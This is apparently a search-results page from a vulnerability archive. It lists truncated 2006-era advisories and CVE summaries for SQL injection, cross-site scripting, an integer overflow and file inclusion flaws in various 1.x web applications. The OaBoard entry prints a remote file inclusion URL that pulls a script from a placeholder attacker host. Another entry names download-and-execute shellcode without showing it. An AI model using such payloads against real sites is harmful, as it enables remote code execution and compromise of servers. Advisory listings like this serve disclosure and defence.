541 matches found
OaBoard 1.0 Remote File inclusion
OaBoard version 1.x have remote file inclusion . Variables $inc isn't initialized in the include http://host/oaboard/forum.php?inc=http://evilscript/ Hessam-x www.hessamx.net...
Integer overflow
Integer overflow in CGI scripts in Nagios 1.x before 1.4.1 and 2.x before 2.3.1 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via a content length Content-Length HTTP header. NOTE: this is a different vulnerability than CVE-2006-2162...
CVE-2006-1908
Cross-site scripting vulnerability in addevent.php in myEvent 1.x allows remote attackers to inject arbitrary web script or HTML via the eventdesc parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
Cross site scripting
Cross-site scripting vulnerability in addevent.php in myEvent 1.x allows remote attackers to inject arbitrary web script or HTML via the eventdesc parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
Sql injection
Multiple SQL injection vulnerabilities in myEvent 1.x allow remote attackers to inject arbitrary SQL commands via the eventid parameter to 1 addevent.php or 2 del.php or 3 eventdesc parameter to addevent.php. NOTE: the provenance of this information is unknown; the details are obtained solely fro...
CVE-2006-1908
Cross-site scripting vulnerability in addevent.php in myEvent 1.x allows remote attackers to inject arbitrary web script or HTML via the eventdesc parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
CVE-2006-1907
The documents describe multiple remote vulnerabilities in myEvent 1.x (a PHP calendar app). The core issues allow SQL injection via the event_id parameter to addevent.php, del.php, or via event_desc to addevent.php, and a separate path traversal/remote include risk via myevent_path that could lea...
CVE-2006-1908
CVE-2006-1908 affects the myEvent 1.x web application. The core issue is a cross-site scripting vulnerability in addevent.php’s event_desc parameter, enabling injection of arbitrary script/HTML. Connected sources also describe additional flaws in the same product: unsanitized input to myevent_pat...
CVE-2006-1907
Multiple SQL injection vulnerabilities in myEvent 1.x allow remote attackers to inject arbitrary SQL commands via the eventid parameter to 1 addevent.php or 2 del.php or 3 eventdesc parameter to addevent.php. NOTE: the provenance of this information is unknown; the details are obtained solely fro...
Claroline 1.x - 'rqmkhtml.php' Information Disclosure
source: https://www.securityfocus.com/bid/17343/info Claroline is prone to an information-disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerabl...
[SA19372] Meeting Reserve Cross-Site Scripting Vulnerability
TITLE: Meeting Reserve Cross-Site Scripting Vulnerability SECUNIA ADVISORY ID: SA19372 VERIFY ADVISORY: http://secunia.com/advisories/19372/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: Meeting Reserve 1.x http://secunia.com/product/8957/ DESCRIPTION: Pratiksh...
CVE-2006-1393
Multiple cross-site scripting XSS vulnerabilities in the modpubcookie Apache application server module in University of Washington Pubcookie 1.x, 3.0.0, 3.1.0, 3.1.1, 3.2 before 3.2.1b, and 3.3 before 3.3.0a allow remote attackers to inject arbitrary web script or HTML via unspecified attack...
CVE-2006-1216
Cross-site scripting XSS vulnerability in bigshow.php in Runcms 1.x allows remote attackers to inject arbitrary web script or HTML via the id parameter...
CVE-2006-1216
Cross-site scripting XSS vulnerability in bigshow.php in Runcms 1.x allows remote attackers to inject arbitrary web script or HTML via the id parameter...
linux/x86 HTTP/1.x GET, Downloads and JMP - 68 bytes+
Exploit for linux/x86 platform in category shellcode ===================================================== linux/x86 HTTP/1.x GET, Downloads and JMP - 68 bytes+ ===================================================== / linux/x86 HTTP/1.x GET, Downloads and JMP - 68 bytes+ This shellcode allows you ...
[SA19157] Cilem Haber "haber_id" SQL Injection Vulnerability
TITLE: Cilem Haber "haberid" SQL Injection Vulnerability SECUNIA ADVISORY ID: SA19157 VERIFY ADVISORY: http://secunia.com/advisories/19157/ CRITICAL: Moderately critical IMPACT: Manipulation of data WHERE: From remote SOFTWARE: Cilem Haber 1.x http://secunia.com/product/8605/ DESCRIPTION: Mustafa...
[SA19171] Symantec Ghost Multiple Vulnerabilities
TITLE: Symantec Ghost Multiple Vulnerabilities SECUNIA ADVISORY ID: SA19171 VERIFY ADVISORY: http://secunia.com/advisories/19171/ CRITICAL: Less critical IMPACT: Manipulation of data, Exposure of sensitive information, Privilege escalation WHERE: Local system SOFTWARE: Symantec Ghost 8.x...
[KAPDA::#31] - Runcms 1.x Cross_Site_Scripting vulnerability in bigshow.php
KAPDA::31 - Runcms 1.x CrossSiteScripting vulnerability in bigshow.php KAPDA New advisory Vulnerable products : Runcms 1.x Vendor: www.runcms.org Risk: Low Vulnerabilities: CrossSiteScripting Discoverd by Roozbeh Afrasiabi roozbehatyahoodotcom www.kapda.ir www.persiax.com Date :...
runcmsXSS.txt
KAPDA::27 - Runcms 1.x CrossSiteScripting vulnerability KAPDA New advisory Vulnerable products : Runcms 1.x Vendor: www.runcms.org Risk: Low Vulnerabilities: CrossSiteScripting Discoverd by Roozbeh Afrasiabi roozbehatyahoodotcom www.kapda.ir www.persiax.com Date : -------------------- Found : Jan...
[SA18831] RunCMS pmlite.php SQL Injection Vulnerability
TITLE: RunCMS pmlite.php SQL Injection Vulnerability SECUNIA ADVISORY ID: SA18831 VERIFY ADVISORY: http://secunia.com/advisories/18831/ CRITICAL: Moderately critical IMPACT: Manipulation of data WHERE: From remote SOFTWARE: Runcms 1.x http://secunia.com/product/4808/ DESCRIPTION: Hamid Ebadi has...